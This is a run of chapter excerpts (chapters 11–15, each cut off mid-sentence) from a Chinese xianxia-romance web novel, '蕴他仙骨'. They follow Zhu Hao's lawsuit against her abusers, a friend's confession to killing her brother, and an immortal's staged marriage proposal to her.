衙外纵步行来吏卒,他直入上堂,俯身张谦耳畔细语,祝好与张谦相隔甚远,再则吏卒有意压低声调,她却莫名听得清明:“岐州府传书,太守小公子欲状尤衍尾欠他千两未偿,因此尤衍众亲皆被小公子压身岐州难返,祝、方俩人所诉之罪已遍临州各县,裴大人因公事临身岐州府,亦从小公子处闻知尤衍此人诸多恶行……” “裴大人?”张谦问及,“哪位裴大人?” “大理寺少卿裴应忱,裴大人。”吏卒言此声色俱颤,“裴大人有言,此案若张大人难审,便于三日后呈交他手。裴大人与小公子皆已启行淮城。” 祝好窥见张谦虽极力掩饰,然额汗已渗头顶乌纱帽外泫,祝好复睇尤衍,果见他怡然自若未闻此二人暗语。 张谦揩拭额间冷汗,他有意趋避尤衍注目,“此案于三日后交由大理寺少卿裴大人复审,在此期间,祝氏及尤氏皆可寻实效诸证以为己辩。” 尤衍笑面僵滞,他欲作问张谦,却闻堂上昏官甫敲惊堂木下言:“退堂!” 祝好与尤衍及众观者皆被诸吏遣散出衙,人潮迅急隐入分街,祝好于衙外步前堵截尤衍去路。 她嗓中异感已 11.浮萍 《蕴他仙骨》全本免费阅读 尤蘅痛感已消大半,他恢复昔日翩翩玉公子的清贵模样,却难掩觑祝好时双眼里的鄙色,“三娘知与不知,同你作何干系?区区女儿家,岂悟我所谋?” 祝好力困筋乏外有诸伤作祟,她只好盘腿席地而坐,以此减免不必要的精力,“女儿家如何悟不得?若非你口中的‘区区女儿家’,尤二公子岂能诞世?”祝好讥刺道:“尤二公子所谋,看似除暴安良不吝大义灭亲,实则……与你兄长相较又有何异?尤衍为财权弑父,尤二公子亦不过为财权弑手足,仅因尤衍与其父生非做歹,你生在尤家有他二人作较倒易得百姓一句‘仁人君子’罢?” “王莽明面为尤衍所胁,实则身受尤二公子威逼!你为成己所谋,视人命作尸梯,令其妹失长兄,岂知待尤衍退席,尤二公子不会成为第二个‘尤衍’?” “倘祝姑娘执意如此作想,尤某百口莫辩。然尤衍伏身大成律法,于你我及此城百姓只利无害,何况……此‘尸梯’为你我共建,既为同绳蚂蚱,烦请祝姑娘,谨言慎行。”尤蘅言此,旋身欲行。 “慢着。”祝好问询:“尤蘅,你此前所应之事……” 尤蘅劫言,“祝姑娘急什么?我的确应允,若祝姑娘助我上堂指供尤衍并令其伏狱,我便将当年你父亲之事如实相告,而今却非合时宜之际,尤衍尚且快活,祝姑娘与我的买卖遂未成。祝姑娘惯会耍滑头,我怎可未有所防?不过,你父亲之死确与祝岚香有关,若你欲为父亲昭雪,我这儿有件物什或可助你。”尤蘅斜睨祝好,目携戏虐,“方今尤某只能言于此,祝姑娘父亲可否于九泉下瞑目,全凭三日后祝姑娘如何行事。” …… 尤蘅拂衣远去,祝好席地作歇半刻方缓思起身。 脊背灼痛依旧,所幸她近将此痛作惯,相较受笞时的绞痛已好上太多。 祝好扶着途径雕栏与墙垣缓行,步履犹似千斤重负。 今早方见碧空响晴满袖春风,然祝好抄近道拐行偏巷,她身临长街之际却见黑云蔽日,偶作焦雷。 “姐姐。” 祝好循音望去,见是受笞刑时为她鸣不平的稚童,他怀中抱伞,大抵十来岁,身量堪至祝好腰处,稚童翘首而言:“姐姐,伞赠你。我家住近前,没准儿未及落雨,我便先到家了。” 言罢,稚童遂将怀中伞往祝好手上搡,她难以招架,只好领意相接。祝好方想言谢,却见稚童一溜烟地钻进侧旁小巷隐没了身影,生怕祝好会将伞推谢回去似的。 如今尚未落雨,祝好遂将伞作杖助己行路,不想方迈两步,豆大的雨珠便从天而降,更有疾风急袭。 长街已不见行人,祝好将伞撑开,青石铺就的地砖积水漾波,而水中所映,正是蓬首垢面的自己。 她似水中浮萍任风雨飘摇,始终未有立身之所。 劲风将周坊檐铃竹灯吹得自相磕磨,她的伞亦于风波下离手,伞随疾风翩飞至几尺外,祝好敛裙尾逐,却因牵扯伤处扑身积水。 水面清漪荡漾,映于水中的她显得破碎支离。 祝岚香将她卖予尤琅作妾时她不曾泫泪,于堂上受笞时亦咬唇咽痛,如今她却因平地跌跤眼鼻皆酸。 祝好透过层层雨帘细窥周景,敲定四下无人方埋首嚎啕大哭。 她双眸含泪氤氲难明,却见水中飘入一瓣梅,它拨开涟漪仿若载水远行的偏舟。祝好以指相触,忽见水面依稀映现旁人形影,而随疾风翩飞至几尺外的伞却渺无影踪。 他将手中伞倾移,令她成为伞下所庇护的浮萍。 她追思那日,淮城霖雨,却因那人在侧,将雨幕阻隔在数尺外。 祝好方才便觉古怪,如今时节分明已不大见梅,如若是他,却不作奇。 “梅也,报春之花,凌霜斗雪。” “前有自家留难,后有横祸将至,以仙君之言,我为‘苟存残喘’,与这报春之花倒所隔天堑。”祝好将两颊涕泪以袖拭尽,她方回身觑宋携青,“……仙君何时至此?” “何时?”宋携青略思,“倒谈不上几时。” 祝好未作言,只以浮肿且泛红的眼直勾勾地盯着他。 不知为何,她却觉宋携青与此前相比,竟显病气缠身,只见他面青唇白,神情倦怠。 他持伞立身于长街雨幕,身姿如鹤亭立,仙骨蕴外而生。 雨声之外,她仿若闻得宋携青嗟叹,后听他说:“一直都在。” 祝好闻此,眉心动容,她将视线从宋携青处移开,转身拨弄水中梅。 他所言难悟首尾,好似拿她作乐,实则不然。 宋携青既为淮城守神,凡此城境内,所生万事皆感于心,他神思蟠天际地,无所不在。 祝好确乎将此言作谐谑,她见伞外落雨骤急,己身诸伤因浸水作痛,祝好背对宋携青,忽问:“仙君,今日非得降雨吗?” 祝好所悉,自她将绣球抛至宋携青玉像怀中,淮城骤然雨落。再言,她曾切身目睹宋携青执扼淮城雨幕,倘宋携青不悦,淮城八层即临连阴雨。 苍天,他究竟是堕仙,还是为凡间供霖雨的龙王。 祝好不知宋携青今日因何怏然令淮城落雨,她只知悉,此雨令她作苦。 她不喜阴雨。 “今日之雨,并非因我所下。”宋携青见祝好抱膝窝成小小的一团,她脊背单薄,衣衫褴褛血水浸透,因冒雨之故,她通身濡湿更显脊背诸伤可怖,他思及尚有要事需她襄助,遂言:“停也行。” 宋携青持伞自祝好眼前而掠,悬垂伞沿的水珠簌簌急坠,水珠于青石地迸绽水花,惹得涟漪回环。祝好见头顶已无遮物,伞自宋携青掌间乍消,雷雨瞬息齐散,天际黑云渐退,祝好身感微风拂面,其间裹挟泥壤春花清馨。 祝好回味处身内堂时,她欲唾骂张谦昏昧,却因喉嗓似呛物始终难言半字,她试探地问:“适才……可是因仙君之故,我方难言?我能闻张谦与吏卒私语,亦为仙君手笔?” 宋携青颔首,“若你因诟骂张谦入狱,我还得设法捞你,倒不如令你缄口来得省便。” 祝好微怔,不过俄顷遂醒悟,她简捷道:“仙君可是有求于我?”她言毕,忽觉此言过甚大肆,故找补道:“仙君因何事欲与我相商?” 宋携青望着她,以手作拳掩于唇,他清清嗓子方道:“本君近日前思后想,顿觉祝娘子所言甚是,婚姻之事应遵三书六聘明媒正娶,我与祝娘子虽为名头夫妻,我却岂能因此亏待你?”他俯身屈膝,一手支颐,“本君与祝娘子的婚事皆以民间仪礼筹办,待我挑个吉日便上你家提亲。” 祝好听言只 12.明灯 《蕴他仙骨》全本免费阅读 初雨长街未几游人,祝好肉身已无病痛啮噬,然她所行徐缓,宋携青步至前方与祝好相隔遥遥,祝好始终维系与他身距三丈内。 并非宋携青脚下生风欲将她甩离,而是祝好存心以碎步缓行。 他已识破她的私智小慧。 若她尚未步及祝宅,宋携青所施术法遂不作消,倘她已至祝宅,术法骤解的瞬息,绞痛即袭她身。 她既如此畏怯疾痛,适才令他化去诸伤遂可,何须以此良机换他护其归家?若以此换己身痊复,她便可自行回返岂不简便。 宋携青难以通解她,何况往后更无意相解,因此,他对祝好诸事不作寻问。 两刻钟的路程令祝好拖至近一个时辰,她与宋携青只需拐身前方街角即可见祝宅。 她与宋携青莫名只离三步之隔,祝好正疑他何以愈行愈缓,两目却被斜刺里迎步而来的女娘诱引。 待祝好识清来人不免怔然,此人便是失期堂供的方絮因。 俩人相互行近,祝好见方絮因两肩衣面磨砺渗血,她面青唇白发髻散乱,双眼肿胀血丝遍及。 “祝姑娘,我本欲至祝宅寻你,却恰好在此与你相逢。”方絮因声色苍哑,隐携哽噎,“对不住啊祝好,我没承想……你竟于堂供前转醒。你所受笞刑与欺侮,本当由我亲历,将你牵涉此案已是我之谬错,如今更欠你累次恩情。” 祝好骋目望去已不见宋携青影踪,然她时下却难顾其它,身前的方絮因全无往日生气,她两眼空疏仿若走尸。 “虽言你确乎与尤蘅合谋欺瞒我,更令我身困危境,然府衙指供尤衍,身受笞刑,皆我自愿,你大可不必如此自疚。”祝好话锋忽转,嘴尖道:“自然,此言之意并非我欲与你两清,方娘子亏累我的,我皆已记作账目,待改日寻方娘子清算。” 方絮因闻言些微松气,她反倒忧心祝好不咎既往,使她寝不遑安。 而今见祝好欲令己偿还,她心头反之若释重负,然方絮因转念想起另一桩事,她两手紧攥衣袖,抱愧道:“祝好,若我尚有‘来日’,你随时皆可寻我偿付,即便所诉之事危及性命,我定不作退步,如若未有,下辈子我定作牛马清还。” 祝好攒眉,思及方絮因诸多殊异,她探询道:“何出此言?你……今日因何事缠身失期府衙?” 她倒是想看看,尤蘅究竟以何困身方絮因。 方絮因哑声失笑,透着穷途末路的意味,“祝好,你可知我何故与尤蘅同谋?我虽倾慕他,却不因此对他千依万顺。我不曾收受他平白施舍的银钱,尤蘅为我母亲病笃从医的治诊钱我皆立账,我与他同谋,只欲凭己为母亲敛财投医。然我所行,实为恶行,我所言为母,我手脚皆齐,却以此干着腌臜事,我知尤蘅所谋不纯,可我与他相较,又有何区别?” “自我记事起,父亲时常对母亲戟指打骂,我上头有两位阿姊,她们皆被父亲贱卖给了牙婆,我本该同阿姊们一般,入秦楼楚馆为娼,或为勋贵苦奴,只因父亲见母亲病体难支,觉着家中应留一女作粗使,我方免步阿姊们的后尘。” “父亲好赌,我十岁那年,他因常年欠债被人活活打死。”方絮因不见怆容,反之喧笑,“他并非绝无生路,我亲见他血肉淋漓地倒身雪地,他唤我三娘,我与他言,我厌恶此名,凭何兄长以字辈入名?而我与阿姊只配以行位作名?大娘、二娘、三娘……我当着他的面,为己取作絮因。他苟喘血雪,他求我救他,父亲打骂母亲时,我亦是这般苦求于他,然他不曾宽饶母亲,更对我脚踢拳打。分明近侧巧临医堂,我却未救他,我眼观父亲身血耗尽,他死死盯眈我,他竟可笑妄以血亲绑缚我,整整十年,他可曾将我作女儿善待?” “兄长虽好赌,待我与母亲却好极,家中巨细皆他掌手,兄长虽罕为家中贴补,却不曾以家银作赌。我因与尤蘅之谋,无暇照拂母亲,遂将所得银钱委任兄长,令其替母亲求医诊疗,统共一百两,此银钱为我与祝姑娘性命所谋,只待我归家,遂可得见生气蓬勃的母亲。” “昨日我与尤蘅作别,推扉入屋,所见却是横卧塌间已绝气的母亲,母亲骨瘦形销方去末几,她并非死于顽疾,而是饿殍而亡,兄长携百两流连赌坊,他赌得难分昼夜,以伪面哄骗我近二十载。母亲已失自理能事,双腿有疾甚而下不了地,因兄长之失,母亲数日未进馔食,以至饿殍。” “我家住地僻远,我以绳将母亲稳系脊背,背着她行行重行行,我深感母亲的体温在一点点消退,我能做的,却只有抹尽泪,埋头苦行。” “我偶逢归家的兄长,他面上毫无愧色,我遥想父亲,他与父亲一般,不配谈血亲。” “我不可先与他起争持,遂以言辞相激,果不其然,他与父亲皆听不得半点丑诋,兄长起首与我厮打,如此一来,我便有了抗击的理据,我抽出腰间事先备下的镰刀……” 山衔坠日,环峰似饕餮獠牙将日辉吞噬入腹。 淮城陷落晦夜。 “祝好,我杀人了。”方絮因拖着一副空躯往来路徐行,她的后影近乎消融于暗夜,“我生自寻常人家,未曾受律法之待,世间岂存绝对的公理?方连尤衍这般的人渣尚且逍遥物外,律法于权势面前如同空物,因此,我不信法。” “可这一次,我却想信一回。” 长街渐次燃起花灯,月升星移光辉微茫,却将方絮因的侧影延长。 祝好自长街侧旁支摊的小贩处挑了盏绘梅灯,她身无分文,只得对小贩祈言道:“可否先赊账?我回头再将欠银送来。” 小贩上下扫眼祝好,他神色稍显怪异,临末却只挥挥手,“行罢,届时可别忘了送来啊。” 祝好手提绘梅灯尾追步入昏巷里的方絮因,她将此灯塞入方絮因手中,令烛光将逼仄的窄巷照亮一隅,“前路作晦,愿明灯朗照你此行。” 方絮因虽未 13.提亲 《蕴他仙骨》全本免费阅读 祝好前脚方踏入祝宅,当即迎面朝她围拢数十位家丁。 祝好见此阵仗却泰然自若,前院环佣明灯,她将手中琉璃灯盏举至齐眉,祝好眼视离她几步开外的祝岚香,她正斜靠黄花梨躺椅,惬享侧旁小厮为她摇扇送来的软风。 “姨母,此行为何意?若只为迎翩翩归家,倒不必如此大费周章。” 祝岚香自躺椅起身,她从小厮手中接过羽扇,摇身步至祝好近前,“迎你?”她以扇面挑向祝好下颌,“虽言我这个做姨母的自幼对你确乎稍有严苛,然姨母所为只望你得以靠己身处世,而你,竟于堂案上诬告姨母!祝好,你好生歹毒!我教养你十几载,你却以仇报恩?” “教养?”祝好不免讽笑,她将抵于下颌的羽扇推移,“姨母口中的教养,便是将我作猫儿狗儿逗趣般呼来唤去吗?若非我爹娘遗留的家财商铺,姨母怎会得此良机享乐遣仆?此宅为我双亲所置,自我父亲病陨,姨母遂借抚养我之由将此宅与其钱帛占为己财,想毕姨母已闻我与宋姓郎君情事,宋郎近日便会登门提亲,翩翩既将婚嫁,祝家上下生业亦应交还我手,烦请姨母自行收拾行囊归乡,翩翩念及姨母所谓‘教养’,待姨母临去之日,可自库房拨二十两银以抚姨母数年辛劳。” “你这小崽子!莫不是在打发叫花子?!”祝岚香呸道:“嫁出门的女,泼出门的水!你既嫁入异家,若将祝家薄财全数交予你这等不谙世事的小丫头,岂不平白将肥水引入外人田?你别忘了!我亦姓‘祝’!再则你姨父为赘婿,家中全权皆我主掌,与你嫁入夫家不可同语,翩翩啊,你愿嫁与谁姨母不拦,可你若以区区二十两将我遣散,想都别想!” “此事与姨母是否姓祝存何干系?”祝好反诘:“我家名下布、衣两坊,其间更携淮城诸商营链,此为我双亲在世拼争而来的私产,并非祝家延传家财,故此,与姨母有何瓜葛?再言,诸产本就于父亲病逝前寄于我名下,如今转还我手,理所应当。” “你……”祝岚香戟指祝好,她却如身患哑症半晌难言。 祝岚香心烦虑乱,祝好自幼在她眼皮底下茁长,她最知此女性情,蹑手缩脚不言,自小对己身诸事从未见主心骨,对她这位姨母更甚无计可奈,然自她令祝好以绣球招婿那日起,此女性情陡变,祝好宛如从驯良的小兔化作刁猾的豺狼令祝岚香尽失方寸。 她见祝岚香被呛得杜口结舌,祝好只感神怡心旷,她越过祝岚香及一众家仆欲向前行。 “等等。” 祝好止步,她耳闻祝岚香怡声下气道:“翩翩,你父母留置的两间铺坊近年生意素来惨淡,只堪堪维系家宅开支,姨母未有功劳也有苦劳,假若当年我未接手阿姊与姐夫遗留的商铺,你个小女娃娃如何能令两铺续营?” 祝好仿若未闻,她复迈一步,祝岚香急步紧跟,她翻脸比翻书快,并力扼握祝好手腕,致祝好手中的琉璃花灯因此劲坠地,然内里烛光竟未灭,反而愈烧愈旺,犹如坠凡斗星。 “祝好!你别不知好歹!此事若先不论,你诬告老娘谋陷你一事又该作何解?!是,我将你许给尤琅为妾实属不该,然我怎舍将你作他陪葬女?我祝岚香再如何心狠,又怎会、怎敢残害他人性命?三日后堂审,若你胆敢往我身上泼脏水,我……我就……” 祝好俯身捡拾坠地的琉璃花灯,她想起自己的父亲之死极大可能与眼前的女人有关,不禁讪笑问:“姨母便如何?” 离京官堂审不过三日,若祝好在此间横生不测,祝岚香与尤衍自然难逃疑凶,她正是吃准这点,料定二人不敢对己身下手,方才出言挑衅。 她以指尖拨转琉璃灯盏,令其光映四围,“姨母所言倒并非全无道理,再者,翩翩未曾涉足商道,于此路不通,若将基业转呈姨母名下令姨母全权执事承我双亲之志,不失为一桩益事。只是……姨母亦得悉,我近日尚需了结与尤大公子的案事,翩翩因此险些丢却性命,我自是深信姨母不会谋害翩翩,今日于堂上也只是翩翩一时被冲昏了脑,翩翩给姨母赔不是。日来诸事繁冗,转名家业之事尚需翩翩仔细斟酌再定,翩翩只想好好将养身上的伤,余事便先搁置罢。” “此案庞杂,更惹来京官执事,倒不知何时能了,翩翩亦不知何时方可得闲处理家宅之事,倘我嫁予宋郎,家产仍在我名下,届时若想转呈姨母名下恐怕也难了。” 大成婚律,若俩人结为夫妻,女子名下私产当与夫公有,而女子若想分利夫家财权,需以所育子嗣作拟,此律倒是作呕,尽磋磨女子,偏颇男儿。 祝好双亲已逝,其父临终前将余产商铺寄于她名下,若祝好嫁予宋携青,届时她名下的财权自然难以转呈祝岚香。 若依此前,祝岚香却未有此虑,祝好终归不过一颗软柿子,商铺皆书她名下又如何?此女胆怯与她相争,数年来皆是她祝岚香执掌两铺,城中诸商认得可是她这张脸!可如今祝好却与前判若两人,无形中暗生爪牙,再难令她肆意欺压。 祝岚香此前将祝好嫁予尤琅为妾,只因尤家与她立约,事后此女名下余产皆归她一人所有,祝岚香当时还觉着古怪,为何尤家偏要祝好这等灾星作妾,直至生事她方知,尤家买下祝好竟令其作尤琅的陪葬女,她虽不喜这小杂种,却尚未生出令她身陨的念行。 祝岚香思毕,神色稍喜,“翩翩所言之意,欲将阿姊薄产归置我名下?”她两手轻握祝好,言行温婉,“尤衍行此阴私姨母当真不知!若案审续而传我入堂言供,姨母必定相助翩翩,我虽不知此案细枝末节,然我若一口咬定尤衍,想必,于你易得利处,待此事结案,姨母再与翩翩细商转铺之事。” 祝好微微俯身,“如此,翩翩先谢过姨母,只是姨母切莫过甚偏私翩翩,凡事需以真言判论,姨母若入堂,诉己所知遂可。” 祝岚香面上作笑颔首,心中却早将祝好骂得狗血淋头,真当以为她瞧不出玄妙吗?这丫头所言明正,却暗喻以家产胁她成为此案人证。 她见祝好欲往己屋而行,遂朝两侧待侍家仆使眼色,家仆会意,复将祝好围困,祝岚香见此方道:“翩翩啊,近逢多事之秋,你虽身处家宅,然尤大公子行恶无忌,姨母难宽心,故令几位家仆送你回房,堂审前他们皆于外屋护你安危,以及……翩翩既言将诸产归置我名下,明日我便请人拟书,待你签署,方算成事。” 祝好沉默片时,乖顺道:“姨母所行,翩翩谨遵。” 祝好居室落座祝宅偏角,她原先的闺阁早已被祝岚香的女儿鸠占鹊巢,哪怕她的这位表姊年前出阁嫁作人妇,祝岚香亦未许她重栖己居。 祝好在众仆的陪护下行至屋外,祝岚香表面顾及她,无非变法将她紧囚眼下,以免她生事变卦。至于转名书契……她自然不会将双亲留下的余产商铺转属祝岚香名下,更不信仅凭祝岚香此等夯货的只言片语便定下尤衍的罪状。 好戏尚在后头,她且等着。 祝好踏入魆黑里屋,她已半月未临此宅,因着淮城连日降雨,烛具稍有受潮,祝好借着月色与琉璃盏费去好些劲才将烛具点燃。屋中陈设简单,并无稀贵摆件玩器。祝岚香遣来的家仆仍守外屋,想必她若未 14.赘婿 《蕴他仙骨》全本免费阅读 宋携青护祝好归家时,虽已知会她近日便会上门提亲,然祝好却未想他所谓“近日”竟为翌日,她还以为至少得待堂审收场,不过反因他今日临门求娶,令祝好有望破而今困局。 祝好越过低槛欲朝外院行去,却被人猛不丁拽住腕间再难移步,祝好更因此劲牵扯伤处,她紧锁眉心咬牙捱痛,待痛劲稍缓,回首觑见拽着己腕的为祝亓,本欲出言讥弹,眼角却瞥见一抹千山翠青衣袂掠行廊庑。 “这……宋公子!未得夫人通传不可擅入内宅!” “宋公子此行不合规矩!还望您至大门待候!” “此院为小姐闺阁!怎许外男肆意而入?宋公子何苦难为我等贱奴!” 众仆环绕他身,那人脚风却未歇,他举步直往祝好所立处疾行,“外男?”他口中不忘讥嘲:“我与你家小姐既定终身,怎作外男?倒是你家祝大郎,虽与翩翩以表兄妹相称,然他内宅既纳妻室,翩翩更已至婚嫁芳岁,他便不算外男了?一大清早,他私叩翩翩闺房竟合尔等口中的‘规矩’?” 诸言皆入众人耳中,祝岚香三人神色各异,祝好尤为作怪,她下意识于心中细细推敲来人口中的“翩翩”二字,只觉心神难定。 祝好未及缓神,那人却已站定她身前。 宋携青身量颀长,他兀立祝好身前遂将日光尽数遮掩,祝好眼中所视只容得他一人。 他牵过祝好另一只手,欲将她拽离祝亓近侧,然祝亓始终未见松劲。 宋携青见此,不免疑道:“表哥竟有横刀夺爱的恶味?”他言罢,不顾旁人心中作何想,兀自将祝亓紧锢祝好腕间的指节拨开,“男女授受不亲,表兄妹亦需遵礼法避闲语,祝亓表哥可悟其理?” 祝亓肝火猛地窜高,他双拳紧握,责问道:“宋公子?祝某竟不知淮城何家大户为此姓!再言,我为翩翩表兄不错,何时成你表兄了?休要胡搅蛮缠!” 宋携青暗喟,他身心交瘁,更懒于与此等货色行口舌之争,然他为娶祝好不得不将此戏作足,“待我与翩翩成婚,你不就成我表兄了?既然迟早得改口,不若借此良机先唤,以敬表兄数年来对翩翩的照拂。” 言尽,他将祝好顺势带入己侧,与她两手牵缠,宋携青语调难得温润:“翩翩。” 祝好从善如流,“宋……宋郎。” 宋携青与她相缠的那只手犹如烫手山芋般将她的掌间灼烧沸热,祝好掌心透汗,那人手劲却不见疏松半分。祝好方连额鬓皆湿,她未曾得见此番模样的宋携青,所唤还是她的小字,心头自是如鼓齐鸣,祝好只望能及早结束这场闹剧。 “男未婚女未嫁!此行成何体统?!”祝岚香观望至今,见俩人青天白日下竟当众调风弄月再难容忍,“宋公子住家何处?家中几口人?可为长子?田产房契几许?以何为生?房中可纳妻妾?既放言欲娶翩翩为妻礼聘又为几何?阿姊既将翩翩付托于我,我这个做姨母的,定不能委屈了翩翩,所择夫婿自需上乘,空有皮相可不成,若不及我家亓儿便无须再谈求娶。” “哦?你将翩翩许给尤琅为妾时便不受屈了?如今更欲将翩翩嫁予你这歪瓜裂枣的大儿?”宋携青讥讽之色显见,口中却依序应答:“在下姓宋名携青,为淮城人氏,早年随双亲入京安居,诸位罕闻此姓倒也正常。宋某家中人丁位四,我为长子,后头尚有胞弟,田产房契……未曾细算,然南巷松鹤居仅凭宋某己财而置,想来无须我多言?若我与翩翩成婚,房契家财当交发妻管束,宋某定不染指。我不以何为生,只仰赖亲族数代荫庇,虽如此,己囊财权养着翩翩还是绰然有余的。” “在下内房不曾纳姬妾,而今未纳,今后亦不会令翩翩处两难之境,携青此生,唯求翩翩一人慰后生,我知翩翩名下尚存双亲遗财,故而,我愿为此入赘祝家,大成婚律本就于女子不公,若我入赘,翩翩名下余财便不必与我公有,且宋某今日所携聘礼照旧归祝家所有。”祝好暗叹宋携青如火纯青的演技,她仿若当真从他眼中瞧见一缕春情,“至于聘金诸礼,已呈祝宅大门,我虽未曾计数,然定不亚千金。” 宋携青所言多为生编硬造,神不可欺世人,然此例只存诸神应诺凡人祈愿的境况下,祝好当初无意将绣球抛置他的玉像怀中变相作他所应之事,宋携青如今虽扯谎连篇,却不曾应下何事,倒不至触发神祈。 非要说……他言中所允之事,无非迎祝好为妻,另将财权房契交由她管缚,此外今生不纳姬妾,加之入赘祝家,诸此琐事于他而言倒极易办成,宋携青于婚嫁情事本就无甚兴趣,全允她又何妨? 众人闻言面显愕然,数目交错间,祝岚香极力佯作心平如水地问:“你?入赘?聘千金迎祝好?当真?” 宋携青朝外屈指,“我所言是否属实,行至宅扉一觑便知。” 祝岚香将信将疑,临末仍是同家仆共行方外。 祝好终觉宋携青与她交缠的那只手乍松,她猛呼长气,手心滚汗涔涔,祝好胡乱将手汗拭抹在外衣上,她见宋携青已跨步行至数尺外,以祝好所立处恰巧可视宋携青紧眉将润湿的掌心以术法化去,她自幼易汗,见此不禁胆虚。 她原以这场闹剧终见尾章,不料那人却折返回途。 宋携青头回顾及她的身量,俯首问她:“既为迎翩翩的聘礼聘金,怎有女主人未亲临的道理?” 俩人共闻邻侧的祝亓喧喊:“表妹!你万不可被他的一面之词所惑!” 祝好默不作声,她本道奇怪,缘何至此境地宋携青仍卖劲唱戏,原着祝亓尚在。 宋携青再次执起她手,复将祝好身子往前一带,“走罢,翩翩。” 祝亓:“翩翩表妹!你当真欲随此等来历不明的小白脸同行?” 宋携青:“难不成,与你这等百无所成的小黑脸同行?” 祝好:…… 祝亓:…… 他虽因行商常驻海港奔波查检揽货,为此,确较他人要黝黑几许,却不至成为小白脸口中的小黑脸罢? 祝好忽感宋携青往她合谷处捏去,祝好倒吸一口冷气,意会后忙不迭道:“表哥,我已心倾宋郎,还望你能通领翩翩此意。” 祝好言尽,仰首间依稀瞥见宋携青嘴角的一抹谑笑。 宋 15.旺夫 《蕴他仙骨》全本免费阅读 祝好已脱离宋携青偎抱,她陡见此景亦是大吃一惊,她稍稍侧身,将胳臂朝向宋携青,一双似含春潮般明媚的眼定格在他身上,偏巧宋携青正移目而来。 祝好斜颈歪头,面作疑色。 他提亲归提亲,却将阵势闹得这般扬厉铺张,不仅如此,身尊神祇竟欲自贬作赘夫,祝好虽对宋携青无甚详悉,更不知他此人性情喜好,然他所行所言从未作掩饰,只依区区几面遂可断他嫌厌受条理拘束,而宋携青却因她失手抛至玉像上的绣球陪她作戏至今,实令祝好难解。 宋携青未曾与她提及神祇背约凡人该当何如,祝好心痒难耐,她越发新奇此事,宋携青究竟因何对此诺百般顺从。 宋携青洋洋一笑,漫不经心地开口:“濯水,将礼单悉数念予祝夫人听听。” 话落,祝好见位列正中的使女越步而出,她手持厚重红封卷轴,捻指展开一角,动作间祝好隐约觑见她腕心熠闪,宛若池中沐着艳阳欢游的锦鲤金鳞。 濯水趁着清嗓的间隙不动声色地将目光游移至祝好身上,她正想仔细端详这位行将与人神结亲的凡女,却觉旁侧一道冷寒不偏不倚地落至己身,她不敢再看,心中暗骂宋携青数遍后方埋首高唱:“津味轩喜饼五担、黄金千两、白玉高足一盏,青玉镂空荷纹杯一对、珊瑚迎门柜、朱漆雕填花蕊纹架、象牙镂花小圆镜,红木银丝白花寿紫如意……” 半刻将过,濯水只觉唇焦舌干,她吐音近哑,遂将卷轴极力一合跨步至祝岚香身前并将卷轴递予她,濯水微微作笑道:“夫人,我家公子所拟礼金不胜枚举,一时半刻恐难通诵,还望夫人亲眼。” 濯水于众而言只不过是宋携青宅中的女使丫鬟,然她言举却乎轻视主仆尊卑,若在平日,祝岚香必然要与她行口舌之争,可如今心神皆被礼单勾了魂,自然也就懒于跟濯水计较。 祝岚香何曾得见如许奇珍瑰宝?她心荡神驰,接手时难抑因激切而起的颤栗,更致卷轴脱手坠地,因街面呈低斜之势,卷轴受力铺张至几尺地,祝岚香与众看客明晃晃目见躺满字墨的礼单后齐声叫惊。 “这位宋郎君到底是何方神圣?竟集藏前朝驰名天下平一水的墨宝?更不吝将其作小姑娘家的聘礼?千金只为博得美人一笑,殊不知可为真迹?” “祝娘子昨日堂审诚然万夫不当之勇,可……克亲克夫之名确乎啊!此女声名狼藉,如何得此贵人厚爱?” “哎哟,这般个话茬老夫早想论言!尽是些捕风捉影的风谣,不若宋公子怎可不畏?” 祝岚香急急蹽行侧近一只红木抬箱前,宋携青示意监守退让,祝岚香见无人禁阻,遂将箱盖揭开,只见黄金映着日华朝众人两眼扑闪,她猛吞口涎,鼓劲复掀数只红木箱,若非光灿灿的金条便是和璧隋珠。 祝好耳闻杂谈,抬臂轻扯宋携青衣袖,她故作伤怀地嗔道:“宋郎……小女声名劣劣,难任贤妻!嫁予宋郎为我高攀,不若……将此婚作罢。” 未及宋携青作戏温慰,祝岚香已然急道:“呸呸呸!翩翩休要胡诌八扯!你母亲自娘胎随携虚症,方怀上你那会儿已近势穷力竭,她自郎中口中得悉若决意将你诞下,恐遭隐疾反噬,然你母亲岂会不知己身体况?她留你与否,命数皆至末途,而你的父亲……” 祝岚香忽生怪相,停顿几息方续言:“他不忍你母亲亡故之实,整年累月忘啜废枕,他如此搓磨己身怎得健安?我亦曾宽慰你父亲,嗐!终归难医他失妻心病!至于施家大郎,尤为空谈!你尚未过门凭何污你克夫?!名不正言不顺的!我的好翩翩,数年来,你苦受熬煎妄言真真令姨母痛心!宋公子,翩翩克亲克夫的虚名皆为风谣!我们家翩翩好着呢!旺夫!旺夫啊!” 宋携青闻得祝岚香此番激言,他似笑非笑地看向祝好,“翩翩可曾听悉?你声名并非劣迹昭著,更与‘灾星’二字绝缘,就算是又如何?我怎会惧此?宋某今生,唯你一人不娶。”他微微俯身,将方才披于祝好身上的外衫收拢几分,宋携青低至她的耳鬓,只以俩人勉强可闻的音量揶揄道:“祝娘子真是借势耍得手好牌。” 外埠阔公子以千金求娶祝氏女定会惹来城众围观,而祝岚香视财如命,亲睹宋携青数以千计的聘金诸礼岂舍这桩百年难遇的婚嫁?然祝好名声颇劣,祝岚香为令她安妥出嫁自需释解她身上的污名。 显然,祝好将才蓄意贬贱己身只为坐待祝岚香入局,他亦难逃祝好所谋,无形中成为她的一柄利剑。 也罢,互有所利方得长久。 祝好回他一笑:“与宋郎相比,不过尔尔。” 俩人皆极意压声低语,加之如许近距二人所言旁人更无以听闻,祝好却与平素不同,竟犹自唤他宋郎。 春光如海,小娘子双眸流光似琥珀。 宋携青反复回味“宋郎”二字,临末,竟轻笑了声。 …… 祝好与宋携青遂这般草草地定下姻亲,祝岚香更是急不可待地将她的生辰八字递交松鹤居,待宋携青请人纳吉后便可彻底拟定婚期。 此事之后,祝岚香对祝好款曲周至,与前相较竟跟换魂似的令祝好难识,她不仅允祝好回栖儿时小院,更不吝遣来数名女医替她闻诊制药。 祝好特意叮嘱她不可将广纳医师之事大肆扬传,众人只知祝岚香应请仲春堂甚得名望的秦女医入宅诊疗,待秦女医后脚离去,她方请旁的医师自侧门而入。 祝岚香虽不解其间玄机,然祝好今朝于她而言便是天主,她既未主动谈及,祝岚香遂不宜细问。 